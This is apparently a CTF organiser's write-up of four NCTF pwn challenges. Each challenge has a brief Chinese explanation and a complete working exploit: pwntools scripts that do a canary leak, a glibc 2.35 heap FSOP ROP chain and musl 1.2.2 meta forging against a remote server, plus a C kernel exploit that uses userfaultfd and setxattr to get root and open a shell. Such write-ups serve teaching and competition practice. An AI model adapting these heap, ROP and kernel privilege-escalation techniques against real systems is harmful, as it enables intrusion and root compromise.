總的來說我出的幾題不是很難，主要是想把自己感覺有意思的一些東西分享給大家。
ezlogin
程式設計周大作業稍加改編出的題目。洞在Tea裡，有個陣列越界寫，為了避開\x00截斷，我給了*可以對其進行替換。最後base64帶出flag。
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
s = remote('49.233.15.226', 8001)
canary = u64(s.recv(7).rjust(8,b'\x00'))
success('canary=>' + hex(canary))
s.sendlineafter(b"3.exit\n>> ", b"1")
s.sendlineafter(b"Please put the content you want to encrypt into '1.txt'", b'a'*0x52 + b'*'+chr((canary>>32)&0xff).encode()+b'c'*6+b'\x75**')
s.sendlineafter(b"When you finish please input 'Y'\n", b"Y")
s.sendlineafter(b"5.RC4\n>> ", b"4")
s.sendlineafter(b"for example: 0x10 0x20 0x30 0x10 \n> ", b"0x10 0x20 0x30 0x10")
sleep(1)
s.sendline(b"echo `base64 /flag` | base64 -d")
s.interactive()
ezlink
2.35堆利用，兩次show，一次洩露heap_base，(可以反推，不過我直接用笨辦法本地硬跑一下)利用沙盒殘留的地址洩露libc_base，其他隨便找個IO打一下即可。
from pwn import*
import time
context(os='linux',arch='amd64',log_level='debug')
libc = ELF('./libc-2.35.s0')
def add(content):
s.sendlineafter(b'>> ', b'1')
s.sendafter(b'Please input your secret\n', content)
def delete():
s.sendlineafter(b'>> ', b'2')
def show():
s.sendlineafter(b'>> ', b'3')
def edit(content):
s.sendlineafter(b'>> ', b'4')
s.sendafter(b'Please input content\n', content)
def get_heap_base(target):
start_time = time.time()
base = 0x550000000000
while(1):
if(((base+0x1000)>>12) ^ (base+0x1590) == target):
end_time = time.time()
print(end_time-start_time)
return base
if(base == 0x560000000000):
end_time = time.time()
print(end_time-start_time)
print('[-] get heap base failed')
return 0xdeadbeef
base+= 0x1000
def pwn():
add(b'a')
delete()
add(b'\x00')
show()
s.recvuntil(b'you only have two chances to peep a secret\n')
heap_base = u64(s.recv(6).ljust(8,b'\x00'))
success(hex(heap_base))
assert(heap_base & 0xff0000000000 == 0x550000000000)
heap_base = get_heap_base(heap_base)
assert(heap_base & 0xfff == 0)
success('heap_base=>' + hex(heap_base))
delete()
edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x300)))
add(b'\x60')
show()
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x246d60
success('libc_base=>' + hex(libc_base))
pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret_r12 = libc_base + 0x000000000011f497
pop_rsp_ret = libc_base + 0x0000000000035732
syscall_ret = libc_base + 0x0000000000091396
rop_addr = heap_base
orw_addr = heap_base
fake_IO_addr = heap_base + 0x17e0
fake_IO_file = p64(0) + p64(0)
fake_IO_file+= p64(0)*3 + p64(1) # IO
fake_IO_file+= p64(0)*7 + p64(0) # _chain
fake_IO_file+= p64(0) + p64(0xffffffffffffffff) + p64(0)
fake_IO_file+= p64(heap_base + 0x1000) + p64(0xffffffffffffffff) + p64(0)
fake_IO_file+= p64(heap_base + 0x1e10 + 0x50 - 0xe0) # _wide_data
fake_IO_file+= p64(0)*2 + p64(1) + p64(0)*5
fake_IO_file+= p64(libc_base + libc.sym['_IO_wfile_jumps'])
print(hex(len(fake_IO_file)))
add(fake_IO_file[:0xd0])
add(b'a')
delete()
edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x18a0)))
add(fake_IO_file[0xd0:])
add(b'a')
delete()
edit(p64(((heap_base+0x1000)>>12)^(libc_base+libc.sym['_IO_list_all'])))
add(p64(fake_IO_addr))
payload = p64(libc_base + libc.sym['setcontext'] + 61) + p64(0)
payload+= p64(heap_base + 0x1e10 + 0x58) + p64(pop_rdi_ret + 1)
payload+= p64(0)*6
payload+= p64(heap_base + 0x1e10 - 0x68)
payload+= p64(pop_rdi_ret) + p64(0)
payload+= p64(pop_rsi_ret) + p64(heap_base + 0x3000)
payload+= p64(pop_rdx_ret_r12) + p64(0x500) + p64(0)
payload+= p64(libc_base + libc.sym['read'])
payload+= p64(pop_rsp_ret) + p64(heap_base + 0x3000)
add(payload) # _wide_vtable
# open
orw = p64(pop_rdi_ret) + p64(heap_base + 0x3000 + 0x300)
orw+= p64(pop_rsi_ret) + p64(0)
orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)
orw+= p64(libc_base + libc.sym['open'])
# getdents64
orw+= p64(pop_rdi_ret) + p64(3)
orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)
orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
orw+= p64(pop_rax_ret) + p64(217)
orw+= p64(syscall_ret)
# write
orw+= p64(pop_rdi_ret) + p64(1)
orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)
orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
orw+= p64(libc_base + libc.sym['write'])
# open
orw+= p64(pop_rdi_ret) + p64(heap_base + 0x5000 + 0xa3)
orw+= p64(pop_rsi_ret) + p64(0)
orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)
orw+= p64(libc_base + libc.sym['open'])
# read
orw+= p64(pop_rdi_ret) + p64(4)
orw+= p64(pop_rsi_ret) + p64(heap_base + 0x6000)
orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
orw+= p64(libc_base + libc.sym['read'])
# puts
orw+= p64(pop_rdi_ret) + p64(heap_base + 0x6000)
orw+= p64(libc_base + libc.sym['puts'])
# exit
orw+= p64(libc_base + libc.sym['exit'])
orw = orw.ljust(0x300,b'\x00')
orw+= b'.\x00'
s.sendlineafter(b'>> ', b'5') # b _IO_wdoallocbuf
sleep(1)
s.sendline(orw)
s.recvuntil(b'NCTF')
success(b'NCTF' + s.recvuntil(b'}'))
s.interactive()
while True:
try:
s = remote('49.233.15.226', 8003)
pwn()
except:
s.close()
continue
babyLinkedList
1.2.2的musl，給了任意地址寫，可以打棧，可以偽造meta，本地和遠端佈局稍有不同，給出了部分dockerfile可以拉個docker出來看看。最後加了個suid date提權。
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
s = remote('49.233.15.226', 8002)
def add(size,content):
s.sendlineafter(b'>> ', b'1')
s.sendlineafter(b'Please input size\n', str(size))
s.sendafter(b'Please input content\n', content)
def delete():
s.sendlineafter(b'>> ', b'2')
def show():
s.sendlineafter(b'>> ', b'3')
def edit(content):
s.sendlineafter(b'>> ', b'4')
sleep(0.1)
s.send(content)
add(0x20, b'a')
add(0x18, b'a')
edit(b'a'*0x20)
show()
# 0x7f60b75bcce0
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0xa6ce0
success('libc_base=>' + hex(libc_base))
__malloc_context = libc_base + 0xa3aa0
__stdout_used = libc_base + 0xa3410
edit(b'\x00'*0x18 + b'\x00'*5 + b'\x81' + b'\x02\x00' + p64(__stdout_used))
edit(p64(libc_base - 0x4000))
payload = b'/home/ctf/flag'+b'\x00'*(0x10-14)#b'\x00'*0x10
payload+= p64(libc_base - 0x4000 + 0x50)
payload+= p64(libc_base + 0x0000000000015286) # ret
payload+= b'\x00'*8
payload+= p64(libc_base + 0x0000000000050e9c) # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
# open
payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base - 0x4000 + 0x20)
payload+= p64(libc_base + 0x0000000000016242) + p64(0)
payload+= p64(libc_base + 0x0000000000019418) + p64(0)
payload+= p64(libc_base + 0x0000000000018644) + p64(2)
payload+= p64(libc_base + 0x0000000000022747)
# read
payload+= p64(libc_base + 0x0000000000015c8e) + p64(3)
payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)
payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)
payload+= p64(libc_base + 0x0000000000018644) + p64(0)
payload+= p64(libc_base + 0x0000000000022747)
# write
payload+= p64(libc_base + 0x0000000000015c8e) + p64(1)
payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)
payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)
payload+= p64(libc_base + 0x0000000000018644) + p64(1)
payload+= p64(libc_base + 0x0000000000022747)
# execv
payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base + 0xA120F)
payload+= p64(libc_base + 0x0000000000016242) + p64(0)
payload+= p64(libc_base + 0x0000000000019418) + p64(0)
payload+= p64(libc_base + 0x0000000000018644) + p64(59)
payload+= p64(libc_base + 0x0000000000022747)
add(0x1500, payload)
s.sendlineafter(b'>> ', b'0')
sleep(1)
s.sendline(b"date -f /home/ctf/flag")
s.interactive()
babyyLinkedList
userfaultfd+setxatter佔位，seq打ROP。
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <poll.h>
#include <string.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#define PAGE_SIZE 0x1000
int fd;
int ret;
sem_t sem_delete;
size_t seq_fd;
size_t seq_fds[0x100];
size_t kernel_offset;
char *user_buf;
char *sleep_buf;
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}
void get_shell()
{
if (getuid() == 0)
{
puts("\033[32m\033[1m[+] Successful to get the root.\033[0m");
system("cat /flag;/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
}
void register_userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API error");
ur.range.start = (unsigned long)fault_page; // the area we want to monitor
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
ErrExit("[-] ioctl-UFFDIO_REGISTER error");
// open a thread, receive the wrong signal, and the handle it
int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if(s!=0)
ErrExit("[-] pthread-create error");
}
typedef struct
{
uint64_t size;
char *buf;
}Data;
void add(uint64_t size, char *buf)
{
Data data;
data.size = size;
data.buf = buf;
ioctl(fd, 0x6666, &data);
}
void delete(char *buf)
{
Data data;
data.size = 0;
data.buf = buf;
ioctl(fd, 0x7777, &data);
}
void* delete_thread(void* index)
{
puts("[+] delete thread start");
sem_wait(&sem_delete);
delete(sleep_buf);
return NULL;
}
void *userfault_leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
puts("\033[34m\033[1m[+] leak handler created\033[0m");
pthread_t thr_delete;
pthread_create(&thr_delete, NULL, delete_thread, (void*)0);
sem_post(&sem_delete);
sleep(1);
if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error");
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
}
void *userfault_write_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
puts("\033[34m\033[1m[+] write handler created\033[0m");
pthread_t thr_delete;
pthread_create(&thr_delete, NULL, delete_thread, (void*)1);
sem_post(&sem_delete);
sleep(1);
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] write handler done");
}
void *userfault_sleep_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
puts("[+] sleep handler created");
sleep(100);
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] sleep handler done");
}
size_t pop_rdi_ret = 0xffffffff81086aa0;
size_t pop_rbp_ret = 0xffffffff810005ae;
size_t init_cred = 0xffffffff82a5fa40;
size_t commit_creds = 0xffffffff810c3d30;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a44;
size_t add_rsp_ret = 0xffffffff8188fba1;
void *userfault_hijack_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
puts("\033[34m\033[1m[+] hijack handler created\033[0m");
puts("[+] tigger..");
pop_rdi_ret += kernel_offset;
pop_rbp_ret += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset;
__asm__(
"mov r15, 0x1111111111;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, pop_rdi_ret;"
"mov rbp, init_cred;"
"mov rbx, pop_rbp_ret;"
"mov r11, 0x246;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0xaaaaaaaaaa;"
"xor rax, rax;"
"mov rcx, 0xbbbbbbbbbb;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
printf("[+] uid: %d gid: %d\n", getuid(), getgid());
get_shell();
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] hijack handler done");
}
int main()
{
char *leak_buf;
char *write_buf;
char* hijack_buf;
char leak_data[0x10];
char write_data[0x10];
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
sem_init(&sem_delete, 0, 0);
fd = open("/proc/babyLinkedList", O_RDONLY);
//for(int i=0; i<100; i++)
// if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
// ErrExit("open stat error");
leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(leak_buf, userfault_leak_handler);
write_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(write_buf, userfault_write_handler);
sleep_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(sleep_buf, userfault_sleep_handler);
add(0x20, leak_buf);
delete(leak_data);
kernel_offset = ((size_t*)leak_data)[0];
kernel_offset-= 0xffffffff812f2db0;
printf("\033[33m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);
add(0x20, write_buf);
hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff8188fba1 + kernel_offset;
setxattr("/tmp/exp", "FXC", hijack_buf + PAGE_SIZE - 8, 32, 0);
return 0;
}